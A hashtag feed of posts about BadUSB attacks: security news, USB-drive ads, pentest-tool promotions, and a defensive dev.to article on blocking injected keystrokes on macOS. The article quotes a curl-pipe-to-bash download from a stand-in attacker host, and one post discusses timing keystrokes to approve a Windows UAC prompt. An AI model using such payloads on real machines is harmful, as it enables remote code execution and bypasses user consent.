#BADUSB
Kaspersky gömülü sistemlerde çevrim dışı saldırılara karşı korumayı artırdı

Ekonomi - Kaspersky Kurumsal Siber Güvenlik Uzmanı Oleg Gorobets: "Linux için BadUSB koruması, meşru bir giriş aygıtı gibi görünen sahte cihazları durdurmaya yardımcı olurken, Windows için...

https://plux.tr/n6hwqj
Kaspersky gömülü sistemlerde çevrim dışı saldırılara karşı korumayı artırdı
Kaspersky gömülü sistemlerde çevrim dışı saldırılara karşı korumayı artırdı Ekonomi - Kaspersky Kurumsal Siber Güvenlik Uzmanı Oleg Gorobets: "Linux ...
plux.tr
November 12, 2026 at 8:07 AM
📣 Oferta 📣

⚠️ Somente 1 em estoque. ⚠️

🔻 Menor preço já postado 🔻

Kingston IronKey Vault Privacy 50 16GB USB criptografado | FIPS 197 | AES-256bit ... R$ 1.301,30 (-R$ 655,32 (33%) de desconto)

🛒 https://www.amazon.com.br/dp/B0B23TLBGH?tag=podbsky-20&linkCode=ogi&th=1&psc=1

#publicidade #anuncio
Kingston IronKey Vault Privacy 50 16GB USB criptografado | FIPS 197 | AES-256bit | Proteção contra ataque BadUSB | Opções de várias senhas | IKVP50/16GB
Por R$ 1.301,30 (-R$ 655,32 (33%) de desconto)
www.amazon.com.br
November 3, 2026 at 3:48 AM
📣 Oferta 📣

⚠️ Somente 3 em estoque. ⚠️

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Kingston Ironkey Vault Privacy 50 USB-C 32 GB Flash Drive | Certificado FIPS 197 ...Por R$ 957,00 (-R$ 100,00 (9%) de desconto)

🛒 https://www.amazon.com.br/dp/B0BRBTRHZP?tag=podbsky-20&linkCode=ogi&th=1&psc=1

#publicidade #anuncio
Kingston Ironkey Vault Privacy 50 USB-C 32 GB Flash Drive | Certificado FIPS 197 | XTS-AES 256-bit | Proteção BadUSB e Brute Force | Opção Mult-Password | IKVP50C/32 GB
Por R$ 957,00 (-R$ 100,00 (9%) de desconto)
www.amazon.com.br
November 3, 2026 at 5:02 AM
I believe quite a number of memory sticks have been mailed to Cheltenham addresses... BadUSB or some such??
October 31, 2026 at 8:09 PM
⚠️ Somente 3 em estoque. ⚠️

🔻 Menor preço já postado 🔻

Kingston Ironkey Vault Privacy 50 USB-C 32 GB Flash Drive | Certificado FIPS 197 | XTS-AES 25...Password | IKVP50C/32 GB

Por R$ 1.057,06

🛒 https://www.amazon.com.br/dp/B0BRBTRHZP?tag=podbsky-20&linkCode=ogi&th=1&psc=1

#publicidade #anuncio
Kingston Ironkey Vault Privacy 50 USB-C 32 GB Flash Drive | Certificado FIPS 197 | XTS-AES 256-bit | Proteção BadUSB e Brute Force | Opção Mult-Password | IKVP50C/32 GB
Por R$ 1.057,06
www.amazon.com.br
October 31, 2026 at 9:05 AM
unleashed-firmware unlshd-094 — Custom firmware for Flipper Zero enabling Sub-GHz radio, NFC/RFID emulation, infrared, and BadUSB attack features for hardware security testing. https://ktp.sh/z48hN20Fok
October 15, 2026 at 3:53 PM
storing the volume ID for foreign hard links still kinda allows a badUSB to enumerate shit if it wants to guess volume IDs (which might not be easily guessable, but you might not need to) storing the index into a link table limits exposure, but if the volume ID was spoofed, it's still a "forged" […]
Original post on gaysex.cloud
gaysex.cloud
September 29, 2026 at 7:09 PM
Windows 10 doesn't bring UAC into focus automatically, finding the right delay to put for an ALT TAB before ALT Y #Ducky #BADUSB #Hak5
September 22, 2026 at 11:33 AM
unleashed-firmware unlshd-093 — Custom firmware for Flipper Zero enabling Sub-GHz radio, NFC/RFID emulation, infrared, and BadUSB attack features for... https://kitploit.com/tools/github/darkflippers/unleashed-firmware?utm_source=bluesky&utm_medium=social&utm_campaign=kitploit&utm_content=361617
September 17, 2026 at 4:43 PM
Never Plug a Random USB Drive Into Your Computer — How USB Attacks Can Infect Your PC, Steal Data & Destroy Your Security

A USB drive can be much more dangerous than it looks. Learn how malicious USB devices, infected flash drives, BadUSB attacks, fake USB drives, data theft, HID attacks and…
Never Plug a Random USB Drive Into Your Computer — How USB Attacks Can Infect Your PC, Steal Data & Destroy Your Security
A USB drive can be much more dangerous than it looks. Learn how malicious USB devices, infected flash drives, BadUSB attacks, fake USB drives, data theft, HID attacks and charging attacks work, and what you should do to safely use USB devices.
spyboy.blog
September 9, 2026 at 5:06 PM
Dropping BadUSB Keystrokes on macOS Before They Open Spotlight
_A Japanese version of this is on Note._ A few weeks ago, I watched a demonstration of an **OMG Cable** attacking a Mac. If you haven't seen one in person, it is genuinely unnerving. The cable looks 100% identical to a standard braided USB-C charging cord. It charges an iPhone normally. But the instant you plug it into a laptop, an embedded microcontroller registers as a virtual USB keyboard and blasts keystrokes at over 1,000 words per minute. Before your brain even registers that a device was plugged in, you see Spotlight flicker for a fraction of a second, Terminal pops up, and a one-line payload is executed: Cmd+Space ➔ "terminal" ➔ Enter ➔ curl -sL https://attacker.com/payload | bash ➔ Cmd+Q The entire compromise happens in under 500 milliseconds. No downloaded file to double-click. No browser prompt. Just an innocent-looking charging cable. While building RoamSwitch, a lightweight macOS security utility, I realized our digital perimeter doesn't mean much if someone can compromise the local shell with physical access. Here is how I implemented a physical keystroke-quarantine guard in Swift that drops BadUSB keystrokes in flight before macOS can process them. ## Why macOS Doesn't Stop This Out of the Box Apple introduced the _"Allow accessory to connect?"_ dialog in macOS Ventura, which was a welcome step forward for USB-C security. But against a BadUSB cable, it runs into two practical problems: 1. **The user already wants to connect it** : If you borrowed a cable to charge your dying battery, you will click "Allow" without hesitation. 2. **OS trust architecture** : Once authorized at the bus level, macOS treats USB keyboards as trusted human input. There is no OS-level check to ask _"is a human finger physically pressing these keys, or is a microchip spamming 100 keystrokes a millisecond?"_ To macOS, every keystroke received from an authorized HID keyboard represents the direct, intentional command of the logged-in user. ## The Quarantine Strategy: Drop Everything First If you wait for a user to read an alert and click "Block," you've already lost. A BadUSB payload finishes before the human eye can even focus on a notification banner. The only way to win this race is **fail-closed quarantine** : [New USB Keyboard / BadUSB Inserted] │ ▼ [IOHIDManager Callback] (Detects non-whitelisted device) │ ▼ [Set isBlockingActive = true] │ ▼ [CGEventTap Callback] (Returns nil for all key events: instant drop!) │ ▼ [Display Modal: "Did you plug this in?"] ├── User clicks "Approve": Whitelist & unblock └── User clicks "Reject": Keep blocked indefinitely The moment a physical USB keyboard is plugged in: 1. `IOHIDManager` catches the attachment event. 2. If the device's hardware identity isn't already on the local whitelist, we immediately set `isBlockingActive = true`. 3. A system-wide `CGEventTap` sitting at the very head of the HID event queue begins returning `nil` for all `keyDown`, `keyUp`, and modifier events. 4. The 1,000 WPM script screams into the void. Not a single character reaches Spotlight or Terminal. 5. An interactive modal pops up on screen: _"New keyboard detected. Did you plug this in?"_ ## The Swift Implementation: Why User Space Wins Over DriverKit The purist approach to USB security is writing a **DriverKit** System Extension (`com.apple.developer.driverkit.transport.usb`). But for an indie macOS utility, DriverKit introduces massive practical friction: * **Apple-Gated Entitlements** : USB transport drivers require special developer entitlements that require manual application and lengthy approval cycles from Apple. * **Install Friction** : System Extensions demand administrator prompts, navigating System Settings security panes, and often requiring system reboots. * **Crash Blast Radius** : A bug in a low-level driver can panic the entire system. Instead, we can achieve identical protection entirely in user space by pairing two native macOS subsystems: **`IOHIDManager`** (for hardware topology monitoring) and **`CGEventTap`** (for low-latency keystroke filtering using standard Accessibility permissions). It requires zero reboots, zero custom kernel drivers, and zero special Apple entitlement requests. ### 1. Detecting Physical Insertion with `IOHIDManager` We register an `IOHIDManager` on the main runloop configured to match generic desktop keyboard devices: import IOKit import IOKit.hid private func startHIDMonitoring() { let manager = IOHIDManagerCreate(kCFAllocatorDefault, IOOptionBits(kIOHIDOptionsTypeNone)) self.hidManager = manager let matchingDict: [String: Any] = [ kIOHIDDeviceUsagePageKey: kHIDPage_GenericDesktop, kIOHIDDeviceUsageKey: kHIDUsage_GD_Keyboard ] IOHIDManagerSetDeviceMatching(manager, matchingDict as CFDictionary) let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque()) IOHIDManagerRegisterDeviceMatchingCallback(manager, { (context, result, sender, device) in guard let context = context else { return } let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(context).takeUnretainedValue() Task { @MainActor in guardInstance.handleDeviceConnected(device: device) } }, context) IOHIDManagerScheduleWithRunLoop(manager, CFRunLoopGetMain(), CFRunLoopMode.defaultMode.rawValue) IOHIDManagerOpen(manager, IOOptionBits(kIOHIDOptionsTypeNone)) } When a device connects, we extract its Vendor ID, Product ID, Serial Number, and Transport. If it's not in our allowlist, we flip the killswitch immediately: private func handleDeviceConnected(device: IOHIDDevice) { let name = (IOHIDDeviceGetProperty(device, kIOHIDProductKey as CFString) as? String) ?? "Unknown Keyboard" let vendorId = IOHIDDeviceGetProperty(device, kIOHIDVendorIDKey as CFString) as? Int let productId = IOHIDDeviceGetProperty(device, kIOHIDProductIDKey as CFString) as? Int let serial = IOHIDDeviceGetProperty(device, kIOHIDSerialNumberKey as CFString) as? String let transport = (IOHIDDeviceGetProperty(device, kIOHIDTransportKey as CFString) as? String) ?? "" // Never block the built-in Mac keyboard! if isInternalKeyboard(name: name, vendorId: vendorId, transport: transport) { return } let identifier = makeDeviceIdentifier(vendorId: vendorId, productId: productId, serialNumber: serial, name: name) if !allowedKeyboards.contains(where: { $0.deviceIdentifier == identifier }) { isBlockingActive = true showApprovalModal(for: identifier, name: name) } } ### 2. Dropping Raw Keystrokes via `CGEventTap` To discard key events before any application sees them, we create a `CGEventTap` placed at `.headInsertEventTap`. When `isBlockingActive` is `true`, returning `nil` from the tap callback completely swallows the event: import CoreGraphics private func startEventTap() { let mask = (1 << CGEventType.keyDown.rawValue) | (1 << CGEventType.keyUp.rawValue) | (1 << CGEventType.flagsChanged.rawValue) let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque()) guard let tap = CGEvent.tapCreate( tap: .cghidEventTap, place: .headInsertEventTap, options: .defaultTap, eventsOfInterest: CGEventMask(mask), callback: { (proxy, type, event, refcon) -> Unmanaged<CGEvent>? in guard let refcon = refcon else { return Unmanaged.passRetained(event) } let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(refcon).takeUnretainedValue() // If an unapproved keyboard is pending, drop every key event instantly if guardInstance.isBlockingActive { return nil } return Unmanaged.passRetained(event) }, userInfo: context ) else { return } self.eventTap = tap let source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0) CFRunLoopAddSource(CFRunLoopGetMain(), source, CFRunLoopMode.commonModes) CGEvent.tapEnable(tap: tap, enable: true) } ## The Terrifying Gotcha: Don't Lock Out the Built-in Keyboard When you write code that drops all keystrokes globally on macOS, testing it gives you a minor adrenaline rush. If your internal keyboard detection fails, your Mac stops accepting all key input, and you can't even type your sudo password to kill the process. MacBook internal keyboards don't show up as generic external USB devices. We reliably whitelist them by checking for internal transport protocols and Apple vendor IDs: private func isInternalKeyboard(name: String, vendorId: Int?, transport: String) -> Bool { let lowerName = name.lowercased() // Internal naming identifiers if lowerName.contains("apple internal") || lowerName.contains("magic keyboard") || lowerName.contains("internal keyboard") { return true } // Internal Mac keyboards typically communicate over SPI or FIFO if transport.lowercased() == "spi" || transport.lowercased() == "fifo" { return true } // Apple Vendor ID (0x05ac) internal assemblies if vendorId == 0x05ac && (lowerName.contains("top case") || lowerName.contains("keyboard")) { return true } return false } By guaranteeing that internal SPI/FIFO keyboards are permanently whitelisted on boot, the user can always interact with the approval modal and their Mac, while the external rogue device stays trapped in the quarantine box. ## What About Flash Drives? Keystroke injection is only half of the physical port problem. The other half is someone plugging in an unauthorized USB flash drive to copy files or drop binaries while you're grabbing coffee. In RoamSwitch, we paired this with a volume guard that listens to `NSWorkspace` mount notifications. Any external mass-storage drive that isn't on the trusted UUID whitelist is instantly unmounted and ejected before macOS finishes indexing it. ## The Physical Blind Spot We spend enormous engineering effort hardening network boundaries—configuring packet filter firewalls, locking down open ports, and rotating credentials. Yet across all operating systems, the USB port remains a direct, unauthenticated pipeline straight into the user session. Treating newly attached physical HID devices as untrusted by default isn't paranoia—it's just applying the same zero-trust philosophy we use on the network to the hardware ports sitting on the side of our laptops.
dev.to
August 31, 2026 at 5:12 PM
reverse badUSB (bricks puter when removed)
August 23, 2026 at 10:27 PM
Notícia da SecurityWeek

"BadCam: New BadUSB Attack Turns Linux Webcams Into Persistent Threats " #bolhasec
BadCam: New BadUSB Attack Turns Linux Webcams Into Persistent Threats
Researchers at Eclypsium have shown how Linux-based webcams can be weaponized and turned into persistent threats.
www.securityweek.com
September 22, 2025 at 3:30 PM
Pwnd Blaster: Hacking your PC using your speaker without ever touching it

https://blog.nns.ee/2026/06/03/katana-badusb

#infosec #cybersecurity #ethicalhacking #news #privacy
June 9, 2026 at 6:44 AM
LoKi – badusb hid

LoKi - LoRa/Meshtastic-based Implant for Red Teaming It was presented at DEF CON 34. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same.
LoKi – badusb hid
LoKi - LoRa/Meshtastic-based Implant for Red Teaming It was presented at DEF CON 34. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same.
embed8.wordpress.com
August 22, 2026 at 5:18 AM
The Lab401 Pentester Standard Pack: Your professional, portable pentesting solution. Features the iCopy-XS & Flipper Zero for RFID, RF/SDR, BadUSB & more. Flexible, powerful, and ready for the field. l.lab401.com/VcXvg
#Lab401 #PentestPack #FlipperZero #iCopyX #rfid #pentesting #infosec #Proxmark3
August 3, 2026 at 7:00 PM
The ultimate toolkit: Lab401 Pentester Pack! 🛡️ Handle RFID, SDR, BadUSB, WiFi, and more with one elite kit. Be ready for any security audit, anywhere. 🛠️🚀 l.lab401.com/hgsRi
#Lab401 #Pentesting #CyberSecurity #Tech
May 25, 2026 at 1:02 PM
Lab401 Pentester Pack: curated must-have tools for pentesters! 🧰 Face any scenario: RFID, SDR/RF, BadUSB/Rubber Ducky & Wifi. 📡 l.lab401.com/ai6DG
#Lab401 #Pentesting
April 26, 2026 at 12:00 AM
The WHIDBoard Pro: The Best Hardware Hacker Multitool.
Hardware hacking is an art, but vulnerability chasing is a discipline. Whether you are a Red Teamer, an Ethical Hacker, or a Security Researcher, you share one common enemy: Complexity. In this video, we break down the WHIDBoard Pro, designed by renowned researcher Luca Bongiorni. Unlike standard multitools, the WHIDBoard’s layout follows the actual attack lifecycle—guiding you from the first clue to the final root shell. We walk you through "The Hunter's Workflow": 🔴 Phase 1: The Hunt – Uncovering hidden interfaces with the Pin Enumerator and dissecting signals with the 8-channel Logic Analyzer. 🔴 Phase 2: The Exploit – Turning access into control with the Protocol Debugger (the engine of the Bruschetta Pro), capable of dumping SPI flash, halting CPUs, and bypassing watchdogs. 🔴 The Complete Arsenal – How the WHIDBoard integrates natively with TSUGIRI Linux for a stable, conflict-free forensic environment. Forget carrying heavy adapters and fighting driver conflicts. See why the WHIDBoard Pro is the daily driver for thousands of certified professionals. 👇 GET THE GEAR 👇 🛒 Buy the WHIDBoard Pro exclusively at Lab401: https://lab401.com/products/whidboard-pro 📖 Read the Full Breakdown & Demo: 💻 WHIDBoard GitHub: https://github.com/whid-injector/WHIDBOARD 🐧🔎 TSURUGI LINUX: https://tsurugi-linux.org/ 🎓 TRAINING & CERTIFICATION: Want to become a Certified Hardware Hacker? Get hands-on training with the WHIDBoard architecture through our in-person courses or self-paced online curriculum: https://www.whid.ninja/store
youtu.be
March 9, 2026 at 3:00 PM
The Lab401 Pentester Standard Pack: Your professional, portable pentesting solution. Features the iCopy-XS & Flipper Zero for RFID, RF/SDR, BadUSB & more. Flexible, powerful, and ready for the field. l.lab401.com/VcXvg
#Lab401 #PentestPack #FlipperZero #iCopyX #rfid #pentesting #infosec #Proxmark3
January 4, 2026 at 1:00 PM